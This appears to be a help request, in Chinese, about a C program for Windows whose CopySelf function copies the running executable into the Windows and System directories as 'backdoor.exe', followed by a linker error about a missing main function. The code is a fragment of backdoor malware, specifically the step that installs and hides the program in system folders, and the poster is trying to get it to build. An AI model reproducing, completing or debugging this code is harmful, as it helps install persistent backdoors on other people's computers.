#include<windows.h>
void CopySelf()
{
    char szSelfName[MAX_PATH]={0};
    char szWindowsPath[MAX_PATH]={0};
    char szSystemPath[MAX_PATH]={0};
    char szTmpPath[MAX_PATH]={0};
    GetModuleFileName(NULL,szSelfName,MAX_PATH);
    GetWindowsDirectory(szWindowsPath,MAX_PATH);
    GetSystemDirectory(szSystemPath,MAX_PATH);
    strcat(szWindowsPath,"\\backdoor.exe");
    strcat(szSystemPath,"\\backdoor.exe");
    CopyFile(szSelfName,szWindowsPath,FALSE);
    CopyFile(szSelfName,szSystemPath,FALSE);
}
运行时却显示这个
Linking...
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
Debug/dgsgsfd.exe : fatal error LNK1120: 1 unresolved externals
执行 link.exe 时出错.